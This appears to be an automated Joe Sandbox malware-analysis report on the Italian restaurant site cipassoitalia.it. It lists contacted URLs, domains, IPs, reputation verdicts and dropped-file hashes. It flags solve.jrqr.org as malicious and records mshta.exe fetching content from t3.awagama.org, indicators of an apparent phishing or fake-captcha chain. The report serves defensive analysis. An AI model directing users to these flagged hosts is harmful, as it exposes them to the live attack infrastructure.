https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png	0%	Avira URL Cloud	safe
http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/	0%	Avira URL Cloud	safe
https://t3.awagama.org/cdn-cgi/styles/cf.errors.css5_	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/#website	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/comments/feed/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-json/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://privacy-pienissimo.s3.eu-central-1.amazonaws.com/informativa/uzuypfb7d33r7lvcjvw37oharuqxwlg	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/?s=	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://forms.pienissimo.com/runtime-es2015.66c79b9d36e7169e27b0.js	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-includes/js/wp-emoji-release.min.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.19.49-845x576.p	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/js/shortcodes.js?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_h	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/bl	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.76	true	false	high
mc.yandex.ru	77.88.21.119	true	false	high
t3.awagama.org	188.114.97.3	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
static.cloudflareinsights.com	104.16.80.73	true	false	high
plus.l.google.com	142.250.181.238	true	false	high
d37vrkxza2boa5.cloudfront.net	18.245.60.78	true	false	unknown
solve.jrqr.org	104.21.27.98	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
s3-r-w.eu-central-1.amazonaws.com	3.5.135.206	true	false	high
scontent.xx.fbcdn.net	157.240.252.13	true	false	high
enginev2.pienissimo.com	3.124.71.130	true	false	high
play.google.com	216.58.206.78	true	false	high
www.cloudflare.com	104.16.124.96	true	false	high
a37dd8b3f3000a75e.awsglobalaccelerator.com	15.197.152.159	true	false	unknown
www.google.com	142.250.185.132	true	false	high
api.ipify.org	172.67.74.152	true	false	high
www.cipassoitalia.it	89.46.108.67	true	false	high
unpkg.com	104.17.246.203	true	false	high
s.w.org	192.0.77.48	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.97	true	false	high
data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
mc.yandex.com	unknown	unknown	false	high
pienissimo.s3.eu-central-1.amazonaws.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
forms.pienissimo.com	unknown	unknown	false	unknown
_8545._https.data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://mc.yandex.com/clmap/99162160?page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&pointer-click=rn%3A285429440%3Ax%3A40686%3Ay%3A10485%3At%3A658%3Ap%3A%3BAAA%C2%84AA%C2%89AAAA%3AX%3A659%3AY%3A821&browser-info=u%3A1735921984342483081%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1735922050&t=gdpr(14)ti(1)	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/cdn-cgi/rum?	false		high
https://mc.yandex.com/watch/99162160/1?page-url=goal%3A%2F%2Fwww.cipassoitalia.it%2FClick&page-ref=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&hittoken=1735921987_de4791d74275a7a2a61e0f539a567fed3f958a917b537649694aaeea58b3a8b6&browser-info=ar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A3%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1370925244722%3Ahid%3A679857121%3Az%3A-300%3Ai%3A20250103113306%3Aet%3A1735921987%3Ac%3A1%3Arn%3A689669015%3Arqn%3A2%3Au%3A1735921984342483081%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Aco%3A0%3Acpf%3A1%3Ans%3A1735921964729%3Arqnl%3A1%3Ast%3A1735921987%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr(14)mc(g-1)clc(0-0-0)rqnt(2)aw(1)rcm(1)cdl(na)eco(42009088)ti(0)&force-urlencoded=1&site-info=%7B%22clientID%22%3A%2221187cdf-b91f-4f27-aae8-45cec9395e7c%22%7D	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://forms.pienissimo.com/runtime-es2015.66c79b9d36e7169e27b0.js	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-includes/js/wp-emoji-release.min.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/js/shortcodes.js?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/	chromecache_582.1.dr, chromecache_577.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/xmlrpc.php	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/?lang=en	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.22.dr	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_605.1.dr, chromecache_499.1.dr	false		high
https://docs.google.com/	manifest.json.21.dr	false		high
https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssWy	mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssX	mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://t3.awagama.org/mima.mp4rn	mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/	chromecache_652.1.dr, chromecache_434.1.dr	false	Avira URL Cloud: safe	unknown
https://i.y.qq.com/n2/m/index.html	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://www.deezer.com/	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://web.telegram.org/	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://webaim.org/techniques/css/invisiblecontent/#techniques	chromecache_484.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://t3.awagama.org/cdn-cgi/styles/cf.errors.css5_	mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json.21.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.21.dr	false		high
https://github.com/imakewebthings/waypoints/blog/master/licenses.txt	chromecache_582.1.dr, chromecache_577.1.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.21.dr	false		high
http://gmpg.org/xfn/11	chromecache_644.1.dr	false		high
https://www.cipassoitalia.it/#website	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landing	mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.22.dr	false		high
https://schema.org/WPHeader	chromecache_644.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
http://kriesi.at	chromecache_441.1.dr, chromecache_491.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore/	manifest.json0.21.dr	false		high
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landingnagement/phishing-attack/	mshta.exe, 0000000C.00000002.2411657408.000001A0F65CF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/comments/feed/	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-json/	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/mail/0/	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/~	mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://privacy-pienissimo.s3.eu-central-1.amazonaws.com/informativa/uzuypfb7d33r7lvcjvw37oharuqxwlg	chromecache_505.1.dr, chromecache_519.1.dr	false	Avira URL Cloud: safe	unknown
http://www.twitter.com/	msapplication.xml6.14.dr	false		high
https://www.cipassoitalia.it/?s=	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://gaana.com/	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://apis.google.com	chromecache_426.1.dr, chromecache_510.1.dr	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/T	mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.19.49-845x576.p	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://domains.google.com/suggest/flow	chromecache_426.1.dr	false		high
https://www.tripadvisor.it/Restaurant_Review-g187791-d14121704-Reviews-CiPASSO-Rome_Lazio.html	chromecache_644.1.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/N	mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_h	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/WebPage	chromecache_644.1.dr	false		high
http://www.nytimes.com/	msapplication.xml4.14.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/bl	chromecache_644.1.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
18.245.60.116	unknown	United States	16509	AMAZON-02US	false
3.5.136.176	unknown	United States	16509	AMAZON-02US	false
192.0.77.48	s.w.org	United States	2635	AUTOMATTICUS	false
89.46.108.67	www.cipassoitalia.it	Italy	31034	ARUBA-ASNIT	false
104.16.80.73	static.cloudflareinsights.com	United States	13335	CLOUDFLARENETUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
3.5.135.206	s3-r-w.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
87.250.251.119	unknown	Russian Federation	13238	YANDEXRU	false
157.240.252.13	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
18.245.60.78	d37vrkxza2boa5.cloudfront.net	United States	16509	AMAZON-02US	false
104.16.124.96	www.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.27.98	solve.jrqr.org	United States	13335	CLOUDFLARENETUS	true
15.197.152.159	a37dd8b3f3000a75e.awsglobalaccelerator.com	United States	7430	TANDEMUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	t3.awagama.org	European Union	13335	CLOUDFLARENETUS	false
77.88.21.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.78	play.google.com	United States	15169	GOOGLEUS	false
142.250.185.164	unknown	United States	15169	GOOGLEUS	false
3.124.71.130	enginev2.pienissimo.com	United States	16509	AMAZON-02US	false
3.33.155.121	unknown	United States	8987	AMAZONEXPANSIONGB	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.246.203	unpkg.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
142.250.185.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583836
Start date and time:	2025-01-03 17:32:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://www.cipassoitalia.it/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@75/730@76/29
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 0

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.8046022951415335
Encrypted:	false
SSDEEP:	24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
MD5:	DA597791BE3B6E732F0BC8B20E38EE62
SHA1:	1125C45D285C360542027D7554A5C442288974DE
SHA-256:	5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
SHA-512:	D8DC8358727590A1ED74DC70356AEDC0499552C2DC0CD4F7A01853DD85CEB3AEAD5FBDC7C75D7DA36DB6AF2448CE5ABDFF64CEBDCA3533ECAD953C061A9B338E
Malicious:	false
Reputation:	low
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5..n0..e,...5...................................................Ea.Z,..T$..T$..T

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58109
Entropy (8bit):	6.106332299482327
Encrypted:	false
SSDEEP:	1536:k/Ps+wsI7yOmi+EeTTvqrvctoYKBuSZ+aoo:k/0+zI7yOb+EGTivOKBuWNP
MD5:	CC63572D87F7727A31456F7A23D15476
SHA1:	A4D2AEA081C41C127B5CFDD22BC5F8DF91912872
SHA-256:	15A79C25CC3956DB759D2C1A88577A145DAB161D7924ACB16DB26110D296DDA0
SHA-512:	DA47A43A5FCC1EC9BA401156A8B629909A46A7F2AA346EEF30BAD24CC9395E9D184F00814FF67D5D1A157AB5D7506DCBE73BFA7445E3F3C2F98121A2D3065E05
Malicious:	false
Reputation:	low
